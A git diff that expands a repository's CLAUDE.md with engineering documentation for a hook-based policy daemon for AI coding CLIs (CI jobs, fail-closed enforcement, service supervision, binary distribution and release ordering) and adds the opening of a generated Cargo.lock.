development-version bump. (#634) diff --git a/CLAUDE.md b/CLAUDE.md index c7140786..f8d98664 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -867,13 +867,163 @@ Resolve any conflicts, then continue. Never push a branch that is missing commit After every `git push`, run `gh run watch` or poll `gh run list --limit 3` until all checks finish. If any job fails, **stop and fix it before continuing**. Never leave a red CI. -The CI runs four jobs — all must pass: +`.github/workflows/ci.yml` runs these jobs on every push — all must pass: + | Job | Command | |-----|---------| -| quality | lint + tsc + version-consistency check | -| test | `bun run test:run` (unit, 4 env configs) | -| build | `bun run build` (Next.js + dist/index.js) | +| quality | lint + tsc + version-consistency check (now also covers `Cargo.toml`'s workspace version against root `package.json` — the release tag the CLI builds its daemon download URL from is the npm version, and the binary at that URL reports the Cargo one) | +| rust-quality | `cargo fmt --check` + `cargo clippy` + `cargo test --workspace`. `cargo test` spawns the real TS worker via `bun`, so the job installs bun too. (The steps stay gated on `crates/*/Cargo.toml` existing — a zero-member workspace hard-errors — but both crates are present now, so they all run for real.) | +| test | `bun run test:run` (unit, 3 env configs) | +| build | `bun run build` (Next.js + `dist/index.js` + `dist/cli.mjs` + `dist/worker.mjs`) | | test-e2e | `bun run test:e2e` | +| docs | docs build/validation | + +A separate `.github/workflows/build-daemon.yml` ("Build failproofaid") cross-compiles the +4 real `failproofaid` release binaries (linux-x64/arm64, darwin-x64/arm64), gzips each one +and uploads it as an artifact — path-filtered to `crates/**`/`Cargo.*`/ +`rust-toolchain.toml` changes, so it doesn't run on every PR. It is a **reusable +workflow**: `publish.yml` calls it and downloads those artifacts in the same run, which is +how a release gets binaries built from the exact commit being published. It can also be +triggered manually via `workflow_dispatch`. It's slower than `rust-quality` (real +cross-compiles across 4 matrix legs, two of them real macOS runners) — don't expect it to +finish inside a quick `gh run watch` poll; check back or use a longer timeout. + +### Enforcement routes through the daemon, and where it cannot + +On a machine that completed setup, **failproofaid is the only evaluator**. Setup requires +the daemon, so `daemonConfigured` is true, and from there every way of not getting an +answer denies — an unreachable socket *and* a protocol-version mismatch. There is no +in-process fallback on that path: a second policy engine reachable by breaking the first +is not a guarantee, and a machine where stopping one service silently disables every +guardrail is not a guarded machine. + +The mismatch case denies with a message naming the version and `failproofai config`, +because the remedy differs from "the daemon is down" and that difference is the whole +value of telling them apart. The accepted cost: both sides hardcode `PROTOCOL_VERSION`, +so the first time it is bumped a machine whose CLI updated via npm before its daemon did +denies until `failproofai config` runs. `publish.yml` ships both from one commit and +`daemonVersionSkew()` hints on every CLI command, so the window is bounded and announces +itself. + +**In-process evaluation still exists**, reachable only when `daemonConfigured` is false — +which is exactly three situations, none of them a configured user machine: + +| Case | Why | +|------|-----| +| This repo's dogfood configs | Standing decision above: a flaky dev daemon must not block contributors' tool calls in the same loop where the daemon is being developed. | +| Unsupported platforms | `isDaemonSupportedPlatform()` is linux + darwin only. | +| Not yet set up | No hooks are installed either, so nothing evaluates anything. | + +**Known gap — Windows.** The wizard *skips* the daemon requirement on an unsupported +platform rather than refusing setup, so a Windows user completes setup, reads as +configured, and enforces **in-process**: slower (~850ms vs ~57ms), and with no fail-closed +guarantee, because `daemonConfigured` is never set and there is nothing to fail closed +against. The policies themselves are identical and do enforce. This is a deliberate +trade — refusing setup would drop the platform entirely — and it is the one place +"all enforcement routes through the daemon" is not literally true. Revisit it if +failproofaid ever gains a Windows service target. + +### How the daemon is supervised + +The service is **system-scope, user-run**: `/etc/systemd/system/failproofaid@.service` +with `User=` and `WantedBy=multi-user.target` (macOS: a `/Library/LaunchDaemons` +plist with `UserName`). It starts at boot, needs no login, and survives logout. + +It was a systemd `--user` unit through 1.0.0-beta.0, and that is what forced the change: a +user manager does not start at boot without `loginctl enable-linger` and stops with the +last session, so the daemon died on logout — and because a daemon-configured machine +**fails closed**, anything running without a login session (detached tmux, cron, a CI +runner) then hit denials. + +Three consequences, all handled explicitly rather than assumed: + +- **Install needs root.** `canElevate()` checks `sudo -n` (or uid 0) *before* writing + anything; when it fails, the install writes nothing and returns the exact commands to + run, classified as `needs_root`. `sudo -n`, never interactive — a password prompt fired + from under the wizard's TUI is unreadable. +- **A system unit has no login environment.** `resolveWorkerCommand()` uses + `process.execPath`, not a bare `node`: the single most common Node install is nvm, whose + binary lives under `~/.nvm/versions/node/*/bin` and is on no system PATH. A bare `node` + resolves when the wizard runs it and then fails inside the service, silently. +- **The old user unit must go first.** `removeLegacyUserService()` runs on every install + and uninstall. It holds the same flock the new service needs, so leaving one behind means + the system unit starts, loses the singleton race, and the machine sits fail-closed + against a daemon that never came up. + +The unit is named per user (`failproofaid@alice`) so a second person on the same box cannot +silently steal the first's service — every field in it is user-specific anyway (ExecStart +under that user's `~/.failproofai/bin`, HOME, the worker command). Reading status needs no +privileges: `systemctl status failproofaid@`, exposed as `daemonStatusCommand()`. + +### How the daemon binary reaches users + +The CLI tarball itself carries no binary — one tarball serves every platform — but the +binary reaches a machine through **two** channels, and `ensureFailproofaidBinary()` in +`daemon-service.ts` tries them in this order: + +**1. npm, as an optional dependency.** The four binaries publish as +`@failproofai/failproofaid--` packages with `os`/`cpu` set, pinned in the root +package's `optionalDependencies`, so `npm install failproofai` already brought down the one +matching this machine and skipped the other three. `installFromNpmPackage()` copies it into +place with no network at all — the only channel that works air-gapped or behind a proxy +that blocks github.com. `npmPlatformBinaryPath()` anchors resolution at +`FAILPROOFAI_PACKAGE_ROOT` (**not** `import.meta.url`, which does not survive the CJS +bundle) and uses a **computed** specifier, or the bundler would try to resolve a package +that is optional and absent on three machines out of four at build time. + +**2. The GitHub Release asset.** `failproofaid--.gz` plus a `SHA256SUMS` manifest, +which `daemon-download.ts` fetches for this CLI's own version, verifying the SHA-256 +**before** decompressing. Covers installs that skipped optional dependencies, tarballs +installed from disk, and anyone installing the daemon standalone. The URL is *constructed* +from `package.json`'s version, never discovered — no API call, no `releases/latest` +redirect, no rate limit, and no way to end up with a daemon built from different source than +the CLI talking to it. + +Both channels land the file at `~/.failproofai/bin/failproofaid-` through the same +`installBinaryBytes()` — atomic rename, mode 0755, versioned filename (which avoids +`ETXTBSY` against a running daemon and stops an upgrade from repointing a live service unit +at a binary built from different source). **`ExecStart` never points into `node_modules`**: +an `npm i -g failproofai@next` would silently swap the file under a running service, and an +uninstall would delete it out from under an enabled unit that then crash-loops at every boot. + +Ordering in `publish.yml` is load-bearing in two places, both guarded by +`__tests__/ci/release-pipeline.test.ts`: the four platform packages publish **before** the +root package that pins them (an `optionalDependency` npm cannot resolve is a 404 in every +install), and the release assets attach **before** the npm publish (or the package ships +pointing at a tag whose binaries do not exist yet). `scripts/build-daemon-packages.mjs` +generates and publishes the platform packages and writes the pins in the same invocation — +they are injected at publish time, never committed, so a pin can never name a version that +was not published and this repo's own `bun install --frozen-lockfile` keeps working. + +This is the second attempt at the npm half. The first shipped the pins and never published +anything behind them (the daemon PR never touched `publish.yml`), so every install resolved +four 404s — which is why the publish script **fails the release** rather than warning when a +platform package cannot be published, and why the ordering above is a test rather than a +convention. + +That same ordering is why **preflight refuses to start when the publish version is already on +the registry**. A `workflow_dispatch` has no version input — the publish version is whatever +`package.json` carries, and a feature branch's is routinely a version that shipped long ago — +while the root package publishes last. Without the check, a burned version runs the whole +cross-compile, attaches the assets, publishes the four platform packages, and only then takes +`E403` on the root package, stranding four orphan platform versions that nothing pins and that +npm's 72-hour window is the only way to remove. It is ungated on `dry_run` on purpose: a dry +run that validated a release which cannot happen is not a useful dry run. + +Only the install path (`failproofai config`, global scope) does any of this. +`resolveFailproofaidBinaryPath()` is a pure disk check — env override → +`~/.failproofai/bin/failproofaid-` → a locally-built `target/{release,debug}` +binary — so the hook path can never block on the network. Two escape hatches: +`FAILPROOFAI_NO_DOWNLOAD=1` (air-gapped: fail with a reason instead of reaching out, while +an already-installed binary keeps working — it gates *fetching*, not the npm copy) and +`FAILPROOFAI_DAEMON_BASE_URL` (an internal mirror, and what the tests point at a local HTTP +server). + +The release also carries `failproofai-.tgz`, the CLI's own npm tarball, packed by +the `cli-tarball` job at the version being published and covered by the same `SHA256SUMS`. +It is how you install the CLI without the registry (`npm i -g ./failproofai-.tgz`), +and it is attached on every release — that job is deliberately **not** gated on +`has_daemon`. ### Always add unit tests for new behaviour When you add or change logic, add a corresponding test in `__tests__/`. Never modify @@ -948,19 +1098,97 @@ After any change to `src/hooks/`, verify these scenarios don't regress: ``` bin/failproofai.mjs Entry point (bun shebang); sets FAILPROOFAI_DIST_PATH +bin/failproofai-worker.mjs Warm-worker entrypoint; spawned by the Rust daemon, not a user +bin/failproofaid-shim.mjs `failproofaid` bin entry; execs the downloaded binary at + ~/.failproofai/bin/failproofaid- (hand invocation + only — service units point at the binary directly) src/hooks/ custom-hooks-loader.ts Orchestrates temp-file creation + dynamic import loader-utils.ts findDistIndex(), createEsmShim(), rewriteFileTree() custom-hooks-registry.ts globalThis registry shared between loader and handler policy-helpers.ts allow() / deny() / instruct() - handler.ts Called by Claude Code --hook events + handler.ts canonicalizeEventType() + evaluateHookEvent() (core logic, + param-in/return-out) + handleHookEvent() (one-shot stdin/ + stdout wrapper called by both bin/failproofai.mjs and tests) + worker-server.ts Listens on the daemon-spawned worker's Unix socket, serializes + concurrent evaluateHookEvent() calls through one async queue + daemon-client.ts isDaemonConfigured() + tryDaemonHook(). TWO budgets, not + one: ~150ms to CONNECT (the "is anything listening" probe + — a dead daemon must never add latency to a hook) and 30s + for the RESPONSE once connected, matching worker.rs's own + read timeout. They are separate because a timeout here is + a DENY on a daemon-configured machine, and one 150ms + budget over the whole roundtrip made a slow-but-correct + evaluation (handler.ts allows 10s per custom policy; + worker-server.ts serializes) indistinguishable from a dead + daemon. See also the worker pre-warming note in worker.rs + below, and the awaitTelemetryFlush note in handler.ts for + a bug class that silently blew through the budget even + when warm + daemon-download.ts Both channels that put the binary on disk, sharing one + installBinaryBytes() (atomic rename, 0755): + installFromNpmPackage() copies it out of the + @failproofai/failproofaid-- optional dependency + (no network — the air-gapped path), and + downloadFailproofaidBinary() fetches the release asset for + this version, SHA-256 verified before it is decompressed. + Never throws; FAILPROOFAI_NO_DOWNLOAD / + FAILPROOFAI_DAEMON_BASE_URL opt out of or redirect the + download only + daemon-service.ts installDaemonService()/uninstallDaemonService()/ + daemonServiceStatus()/setDaemonConfigured() — SYSTEM-scope + systemd unit (/etc/systemd/system/failproofaid@ + .service, User=, WantedBy=multi-user.target) / + launchd LaunchDaemon with UserName; root-installed via + `sudo -n`, never root-run. Called + directly by configure-wizard.ts, no public + `failproofai daemon` subcommand. install waits for the + service to reach AND HOLD a running state before + reporting success (a Type=simple unit reports active the + moment it forks, so one reading passes a daemon that died + at startup), and uninstall clears daemonConfigured first + and unconditionally — leaving that flag set with no daemon + to reach denies every hook event on the machine, across + all 11 CLIs, recoverable only by hand-editing + ~/.failproofai/policies-config.json manager.ts policies --install / --uninstall / list src/index.ts Public API entry point → compiled to dist/index.js dist/index.js CJS bundle (built by `bun run build`; shipped in npm pkg) +dist/cli.mjs Bundled bin/failproofai.mjs (bun run build:cli) +dist/worker.mjs Bundled bin/failproofai-worker.mjs (bun run build:worker) — + plain Node can't resolve raw .ts specifiers, so the warm + worker needs this bundle just like the CLI does +Cargo.toml Rust workspace root (resolver "3", shared [workspace.package]) +crates/fpai-ipc/ Wire protocol shared by the daemon and its tests: length- + prefixed JSON framing, protocolVersion envelope, peer- + credential checks (see crates/PROTOCOL.md) +crates/failproofaid/ The daemon binary — socket server + service lifecycle + + worker supervision, zero policy logic + src/worker.rs Spawns/supervises the warm worker subprocess; Worker::warm() + pre-starts it off the accept-loop path right after the daemon + binds its socket (main.rs) so the ~700ms Node cold start never + lands on the critical path of a real hook call + src/server.rs Unix socket accept loop, relays Hook requests to the worker + src/paths.rs ~/.failproofai/run/ layout (socket, worker socket, lock) + src/lock.rs Non-blocking flock() singleton guard + (the four compiled binaries ship BOTH as + @failproofai/failproofaid-- npm packages and as + GitHub Release assets — see "How the daemon binary reaches + users") __tests__/ Unit + e2e tests (vitest) examples/ Sample custom policy files ``` +**This repo's own dogfood hook configs (`.claude/settings.json`, +`.codex/hooks.json`, etc.) deliberately stay on the in-process path, never +daemon-configured** — `scripts/dev-hook.mjs` already exists specifically to +avoid a self-reference conflict between this repo's own dogfood hooks and the +package being developed inside it; a locally-running daemon (with its +fail-closed-on-down behavior) in that same loop would multiply that exact +risk class, and a flaky dev daemon could start blocking this repo's own +contributors' tool calls. This is a deliberate, standing decision — don't +wire a daemon into the dogfood configs without revisiting it explicitly. + ## Changelog Every PR **must** include an update to `CHANGELOG.md`. Add your entry under the diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 00000000..2d27f53d --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,2281 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "aho-corasick" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ddd31a130427c27518df266943a5308ed92d4b226cc639f5a8f1002816174301" +dependencies = [ + "memchr", +] + +[[package]] +name = "assert-json-diff" +version = "2.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47e4f2b81832e72834d7518d8487a0396a28cc408186a2e8854c0f98011faf12" +dependencies = [ + "serde", + "serde_json", +] + +[[package]] +name = "atomic-waker" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0" + +[[package]] +name = "autocfg" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2032f911046de80f0a198e0901378627c33f59ea0ac00e363d481118bd70a53" + +[[package]] +name = "base64" +version = "0.22.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" + +[[package]] +name = "bit-set" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08807e080ed7f9d5433fa9b275196cfc35414f66a0c79d864dc51a0d825231a3" +dependencies = [ + "bit-vec", +] + +[[package]] +name = "bit-vec" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e764a1d40d510daf35e07be9eb06e75770908c27d411ee6c92109c9840eaaf7" + +[[package]] +name = "bitflags" +version = "2.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b588b76d00fde79687d7646a9b5bdf3cc0f655e0bbd080335a95d7e96f3587da" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "bumpalo" +version = "3.20.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72f5acc6cb2ba439de613abc23857ec3d78374d8ed5ac84e9d11336e87da8649" + +[[package]] +name = "bytes" +version = "1.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc652a48c352aef3ea3aed32080501cf3ef6ed5da78602a020c991775b0aff04" + +[[package]] +name = "cc" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5add81bb678e6cb321aff7fa0dc7689ad82b112dbc032cea19f91d6b8e3582b9" +dependencies = [ + "find-msvc-tools", + "shlex", +] + +[[package]] +name = "cfg-if" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" + +[[package]] +name = "cfg_aliases" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f079e83a288787bcd14a6aea84cee5c87a67c5a3e660c30f557a3d24761b3527" + +[[package]] +name = "chacha20" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d524456ba66e72eb8b115ff89e01e497f8e6d11d78b70b1aa13c0fbd97540a81" +dependencies = [ + "cfg-if", + "cpufeatures 0.3.0", + "rand_core 0.10.1", +] + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + +[[package]] +name = "cpufeatures" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b2a41393f66f16b0823bb79094d54ac5fbd34ab292ddafb9a0456ac9f87d201" +dependencies = [ + "libc", +] + +[[package]] +name = "crypto-common" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "deadpool" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0be2b1d1d6ec8d846f05e137292d0b89133caf95ef33695424c09568bdd39b1b" +dependencies = [ + "deadpool-runtime", + "lazy_static", + "num_cpus", + "tokio", +] + +[[package]] +name = "deadpool-runtime" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "092966b41edc516079bdf31ec78a2e0588d1d0c08f78b91d8307215928642b2b" + +[[package]] +name = "deranged" +version = "0.5.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7cd812cc2bc1d69d4764bd80df88b4317eaef9e773c75226407d9bc0876b211c" + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", +] + +[[package]] +name = "displaydoc" +version = "0.2.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c6232dd377dcc64799954cbd3a9bb882e9cdc1308ccd87b1c098f1fb2eaf82a8" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.3", +] + +[[package]] +name = "equivalent" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" + +[[package]] +name = "errno" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "failproofaid" +version = "1.0.0-beta.11" +dependencies = [ + "fpai-collect", + "fpai-ipc", + "libc", + "reqwest", + "serde", + "serde_json", + "sha2", + "time", + "tokio", + "toml", + "tracing", + "tracing-subscriber", + "wiremock", +] + +[[package]] +name = "fallible-iterator" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2acce4a10f12dc2fb14a218589d4f1f62ef011b2d0cc4b3cb1bba8e94da14649" + +[[package]] +name = "fallible-streaming-iterator" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7360491ce676a36bf9bb3c56c1aa791658183a54d2744120f27285738d90465a" + +[[package]] +name = "fastrand" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da7c62ceae207dd37ea5b845da6a0696c799f85e97da1ab5b7910be3c1c80223" + +[[package]] +name = "find-msvc-tools" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582" + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "foldhash" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77ce24cb58228fbb8aa041425bb1050850ac19177686ea6e0f41a70416f56fdb" + +[[package]] +name = "form_urlencoded" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb4cb245038516f5f85277875cdaa4f7d2c9a0fa0468de06ed190163b1581fcf" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "fpai-collect" +version = "1.0.0-beta.11" +dependencies = [ + "notify", + "reqwest", + "rusqlite", + "serde", + "serde_json", + "time", + "tokio", + "toml", + "tracing", + "wiremock", +] + +[[package]] +name = "fpai-ipc" +version = "1.0.0-beta.11" +dependencies = [ + "libc", + "proptest", + "serde", + "serde_json", +] + +[[package]] +name = "fsevent-sys" +version = "4.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76ee7a02da4d231650c7cea31349b889be2f45ddb3ef3032d2ec8185f6313fd2" +dependencies = [ + "libc", +] + +[[package]] +name = "futures" +version = "0.3.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a88cf1f829d945f548cf8fec32c61b1f202b6d93b45848602fc02af4b12ad218" +dependencies = [ + "futures-channel", + "futures-core", + "futures-executor", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "262590f4fe6afeb0bc83be1daa64e52657fe185690a958af7f3ad0e92085c5ae" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2cd50c473c80f6d7c3670a752354b8e569b1a7cbfdc0419ec88e5edad85e0dc7" + +[[package]] +name = "futures-executor" +version = "0.3.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6754879cc9f2c66f88c6e5c35344bb0bdb0708b0352b1201815667c7eabc7458" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4577ecaa3c4f96589d473f679a71b596316f6641bc350038b962a5daf0085d7a" + +[[package]] +name = "futures-macro" +version = "0.3.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2d6d3cde68c518367be28956066ddfef33813991b77a55005a69dae04bf3b10b" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "futures-sink" +version = "0.3.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e34418ac499d6305c2fb5ad0ed2f6ac998c5f8ca209b4510f7f94242c647e307" + +[[package]] +name = "futures-task" +version = "0.3.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b231ed28831efb4a61a08580c4bc233ec56bc009f4cd8f52da2c3cb97df0c109" + +[[package]] +name = "futures-util" +version = "0.3.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a77a90a256fce34da66415271e30f94ee91c57b04b8a2c042d9cf3220179deaa" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "slab", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0" +dependencies = [ + "cfg-if", + "js-sys", + "libc", + "wasi", + "wasm-bindgen", +] + +[[package]] +name = "getrandom" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "899def5c37c4fd7b2664648c28120ecec138e4d395b459e5ca34f9cce2dd77fd" +dependencies = [ + "cfg-if", + "libc", + "r-efi 5.3.0", + "wasip2", +] + +[[package]] +name = "getrandom" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "300e883d756b2e4ec94e02791f39b04b522276138852cfc41d9fb7e904106099" +dependencies = [ + "cfg-if", + "js-sys", + "libc", + "r-efi 6.0.0", + "rand_core 0.10.1", + "wasm-bindgen", +] + +[[package]] +name = "h2" +version = "0.4.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6cb093c84e8bd9b188d4c4a8cb6579fc016968d14c99882163cd3ff402a4f155" +dependencies = [ + "atomic-waker", + "bytes", + "fnv", + "futures-core", + "futures-sink", + "http", + "indexmap", + "slab", + "tokio", + "tokio-util", + "tracing", +] + +[[package]] +name = "hashbrown" +version = "0.16.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "841d1cc9bed7f9236f321df977030373f4a4163ae1a7dbfe1a51a2c1a51d9100" +dependencies = [ + "foldhash", +] + +[[package]] +name = "hashbrown" +version = "0.17.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed5909b6e89a2db4456e54cd5f673791d7eca6732202bbf2a9cc504fe2f9b84a" +dependencies = [ + "foldhash", +] + +[[package]] +name = "hashlink" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32069d97bb81e38fa67eab65e3393bf804bb85969f2bc06bf13f64aef5aba248" +dependencies = [ + "hashbrown 0.17.1", +] + +[[package]] +name = "hermit-abi" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc0fef456e4baa96da950455cd02c081ca953b141298e41db3fc7e36b1da849c" + +[[package]] +name = "http" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "918d3568bebf352712bc2ef3d46a8bcf1a75b373be6539de198e9105cbbf9ce0" +dependencies = [ + "bytes", + "itoa", +] + +[[package]] +name = "http-body" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca2a8f2913ee65f60facd6a5905613afaa448497a0230cc41ce022d93290bc2c" +dependencies = [ + "bytes", + "http", +] + +[[package]] +name = "http-body-util" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e9f41fd6a08e4d4ec69df65976da761afd5ad5e58a9d4acb46bd1c953a9e3ff2" +dependencies = [ + "bytes", + "futures-core", + "http", + "http-body", + "pin-project-lite", +] + +[[package]] +name = "httparse" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87" + +[[package]] +name = "httpdate" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" + +[[package]] +name = "hyper" +version = "1.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d22053281f852e11534f5198498373cbb59295120a20771d90f7ed1897490a72" +dependencies = [ + "atomic-waker", + "bytes", + "futures-channel", + "futures-core", + "h2", + "http", + "http-body", + "httparse", + "httpdate", + "itoa", + "pin-project-lite", + "smallvec", + "tokio", + "want", +] + +[[package]] +name = "hyper-rustls" +version = "0.27.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33ca68d021ef39cf6463ab54c1d0f5daf03377b70561305bb89a8f83aab66e0f" +dependencies = [ + "http", + "hyper", + "hyper-util", + "rustls", + "tokio", + "tokio-rustls", + "tower-service", + "webpki-roots", +] + +[[package]] +name = "hyper-util" +version = "0.1.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96547c2556ec9d12fb1578c4eaf448b04993e7fb79cbaad930a656880a6bdfa0" +dependencies = [ + "base64", + "bytes", + "futures-channel", + "futures-util", + "http", + "http-body", + "hyper", + "ipnet", + "libc", + "percent-encoding", + "pin-project-lite", + "socket2", + "tokio", + "tower-service", + "tracing", +] + +[[package]] +name = "icu_collections" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2984d1cd16c883d7935b9e07e44071dca8d917fd52ecc02c04d5fa0b5a3f191c" +dependencies = [ + "displaydoc", + "potential_utf", + "utf8_iter", + "yoke", + "zerofrom", + "zerovec", +] + +[[package]] +name = "icu_locale_core" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92219b62b3e2b4d88ac5119f8904c10f8f61bf7e95b640d25ba3075e6cac2c29" +dependencies = [ + "displaydoc", + "litemap", + "tinystr", + "writeable", + "zerovec", +] + +[[package]] +name = "icu_normalizer" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c56e5ee99d6e3d33bd91c5d85458b6005a22140021cc324cea84dd0e72cff3b4" +dependencies = [ + "icu_collections", + "icu_normalizer_data", + "icu_properties", + "icu_provider", + "smallvec", + "zerovec", +] + +[[package]] +name = "icu_normalizer_data" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da3be0ae77ea334f4da67c12f149704f19f81d1adf7c51cf482943e84a2bad38" + +[[package]] +name = "icu_properties" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bee3b67d0ea5c2cca5003417989af8996f8604e34fb9ddf96208a033901e70de" +dependencies = [ + "icu_collections", + "icu_locale_core", + "icu_properties_data", + "icu_provider", + "zerotrie", + "zerovec", +] + +[[package]] +name = "icu_properties_data" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e2bbb201e0c04f7b4b3e14382af113e17ba4f63e2c9d2ee626b720cbce54a14" + +[[package]] +name = "icu_provider" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "139c4cf31c8b5f33d7e199446eff9c1e02decfc2f0eec2c8d71f65befa45b421" +dependencies = [ + "displaydoc", + "icu_locale_core", + "writeable", 